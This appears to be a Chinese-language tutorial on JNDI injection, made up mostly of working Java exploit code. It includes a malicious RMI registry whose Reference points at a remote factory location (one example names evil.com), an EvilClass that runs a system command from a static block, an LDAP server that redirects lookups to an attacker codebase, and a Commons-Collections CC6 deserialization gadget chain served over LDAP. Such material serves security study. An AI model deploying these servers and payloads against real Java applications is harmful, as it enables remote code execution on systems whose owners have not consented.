JNDI注入-基础

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文，并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象，覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数：
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

Reference refObj = new Reference("refClassName", "FactoryClassName", "http://evil.com:8000/");
//refClassName为类名加上包名，FactoryClassName为工厂类名并且包含工厂类的包名，http://evil.com:9999/是classFactoryLocation
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

import javax.naming.Context;
import javax.naming.InitialContext;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:9999/refObj");
    }
}

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "EvilClass", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

import java.io.IOException;

public class EvilClass {
    public EvilClass() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}

import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:7777/anything");
    }
}

<dependency>  
 <groupId>com.unboundid</groupId>  
 <artifactId>unboundid-ldapsdk</artifactId>  
 <version>6.0.0</version>  
</dependency>

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "ExportObject");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:7777/anything");
    }
}

<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static byte[] getPayload() throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        // 先使用fakeTransformer防止本地命令执行
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

        Map objMap = new HashMap();
        objMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove("keykey");

        // 使用反射替换transformerChain的transformers
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(objMap);
        oos.close();

        return barr.toByteArray();
    }
}

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class LDAPSerialServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            System.out.println("Send LDAP reference result for " + base + " return CC6 gadgets");
            e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-1$
            e.addAttribute("javaSerializedData", CC6.getPayload());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}